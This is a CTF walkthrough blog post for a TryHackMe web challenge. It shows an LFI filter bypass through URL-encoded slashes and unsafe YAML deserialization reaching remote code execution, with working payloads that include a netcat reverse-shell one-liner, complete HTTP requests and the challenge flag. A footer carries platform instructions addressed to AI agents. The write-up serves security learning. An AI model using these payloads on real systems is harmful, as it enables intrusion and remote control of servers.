> For the complete documentation index, see [llms.txt](https://muslimfrompk.gitbook.io/blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://muslimfrompk.gitbook.io/blog/ctf-walkthroughs/industrial-intrusion-ctf-2025-tryhackme/task-11-persistence.md).

# Task 11 - Persistence

**Category**: Web

**Difficulty**: Medium

**Description:**

> After the notorious malware strike on the Virelia Water Control Facility, phantom alerts and erratic sensor readings plague a system that was supposed to be fully remediated.
>
> As a Black Echo red-team specialist, you must penetrate the compromised portal, unravel its hidden persistence mechanism, and neutralise the backdoor before it can be reactivated.\
> You can access the portal via: <http://MACHINE\\_IP:8080/>

**Methodology**:

From the challenge description we know that port `8080` holds what we need - So, no need to do port scanning! \
Let's break it down - one step at a time.

**Step 1: Use the app as intended**

Spawn the target machine by clicking on the `Start Machine` and wait until the machine is fully up(it should take no longer than 3-4 minutes).

Now access the target web app by visiting `http://<your-machine-ip>:8080` as stated in the challenge description. - (Remember to replace `<your-machine-ip>`  with the actual machine IP.)

Spend some time in understanding the app logic and what is its intended use.&#x20;

**Step 2: Information Gathering**

After poking around for some time, we can clearly see that there are four main sections available on the target portal as follows:\
&#x20;1\. **Dashboard** - Includes a couple of internal IPs \
&#x20;2\. **Config Updater** - (Potentially) allows uploading new YAML config\
&#x20;3\. **Logs** - Includes some debug info and file paths.\
&#x20;4\. **Telemetry** - For viewing internal OT sensor data in the form of a chart.

**Step 2: Information Analysis:**

Out of the four discovered sections only two of them stand out as potential entry-points for our attack because:&#x20;

*1. **Config Updater*** consists of a HTML form which (apparently) allows us to update the portal's YAML config file. *Maybe* we can upload a **RCE** exploit or other potentially dangerous files? But unfortunately, Upon submitting the form we get a `403 Access Denied` error so we will leave it as is for now.\
2\. *Logs* section shows us some debug logs which reveal:&#x20;

* &#x20;A password-like string: `secr3tTM192d390`
* Full Path to the app's source code: `/opt/hmi/app.py` &#x20;
* Full path to another Python file: `/opt/hmi/updater.py` (Probably, the source code for YAML config updater). &#x20;
* Examining the URL for Logs section reveals that a query parameter named `name` is being used to read the logs like: `http://<your-machine-ip>:8080/logs/view?name=debug.log` - Maybe we can try path traversal?

**Step 3: LFI Exploitation:**

* We start by testing the `name` parameter for LFI in the Logs section.
* If we change the value of `name` parameter from `debug.log` to `nothing.log` it displays the `Log Not Found` with status code `404` - That was expected, nah?
* Now we try to change the value to an obsolete path like the one we discovered earlier(in step 2) `/opt/hmi/app.py` . It threw another error: `No logs found` with a `400 Bad Request` status code. Did you notice the difference in response? I did! This means the app is treating `nothing.log` and `/opt/hmi/app.py` differently but why?&#x20;
* Maybe coz of the extension? Let's try changing the `name`  param's value to `/opt/hmi/app.log`  but it again threw the same `400 Bad Request` error. Perhaps, the app is giving the error due the forward slash (`/`) in the value?&#x20;
* Let's try changing the value to `\opt\hmi\app.py` (now with backslash) and we get our initial `404 Not Found` error back. This means the app is using some kind of black-list but after some trial and error we realize that we only get the `400 Bad Request` error code when using the forward slash in the `name` parameter's value and not for any other symbol including `%`
* Let's try to bypass the blacklist by URL encoding the file path as we are allowed to use the `%` symbol. Try changing the value to `%2fopt%2fhmi%2fapp.py` and boom! We get access to full app's source code. Similarly, we can change the value to `%2fopt%2fhmi%2fupdate.py` to get `Config Updater` 's source code.

**Step 4: Reviewing The Source Code:**

* Upon reviewing the source code of  `app.py` we can clearly see that the app gives a status code when a slash `\` is found in the `name` parameter's value.
* The request to `/config/update` is handled by a function which checks for:\
  &#x20;1\. `X-FTW`  header with a hard-coded secret value(which we found in step 2 as well)\
  &#x20;2\. `Content-type`  header with a value of `application/x-yaml`\
  3\. and then passes the `request body` as an argument to another function defined in `update.py` file.
* Upon viewing the source code of `update.py` we notice that the updater function takes our payload from the request body and tries to parse it as YAML using `yaml.UnsafeLoader` YAML loader.&#x20;
* The config updater function in `update.py`  also writes the output of the YAML parsing to a log file named `loader.log`.

**Step 5: RCE Exploitation**

* If we do a bit of research on the YAML loader being used we come to know that it's prone to `Unsafe YAML Deserialization` attacks leading to `Remote Code Execution`&#x20;
* Let's try uploading a basic YAML deserialization to RCE payload:

```python
!!python/object/apply:subprocess.Popen
- ["ls"]
```

* The HTTP request to upload our payload will look like this:<br>

  ```http
  POST /config/update HTTP/1.1
  ......
  ....
  Content-type: application/x-yaml
  X-FTW: secr3tTM192d390
  .....

  !!python/object/apply:subprocess.Popen
  - ["ls"]
  ```
* After sending the request, visit `http://<your-machine-ip>:8080/logs/view?name=loader.log` . At the bottom we can see the output of the YAML deserializer but it seems like the output of command is not `returned` back due to the nature of `subprocess.Popen`&#x20;
* Let's try to get reverse shell using this payload:

```bash
!!python/object/apply:subprocess.Popen
- ["sh", "-c", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <your-machine-ip> 5555 >/tmp/f"]
```

* First setup a listener on our attack machine and then send the request above with the updated payload like:

  ```http
  POST /config/update HTTP/1.1
  ......
  ....
  Content-type: application/x-yaml
  X-FTW: secr3tTM192d390
  .....

  !!python/object/apply:subprocess.Popen
  - ["sh", "-c", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <your-machine-ip> 5555 >/tmp/f"]
  ```

* We should soon receive a reverse shell on our listener(if everything was setup correctly). We can list the files using `ls` command then use `cat *.txt` command to print the **flag**

**Flag:** `THM{Sn34ky_B4ckd0or_23144}`

That's all for today!

> I also write on [Medium](https://muslimfrompk.medium.com/) and regularly share my experiences/tips about Bug Bounty, and CTFs, on [LinkedIn](https://linkedin.com/in/MuslimFromPK). Feel free to reach out if you need any help!


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://muslimfrompk.gitbook.io/blog/ctf-walkthroughs/industrial-intrusion-ctf-2025-tryhackme/task-11-persistence.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
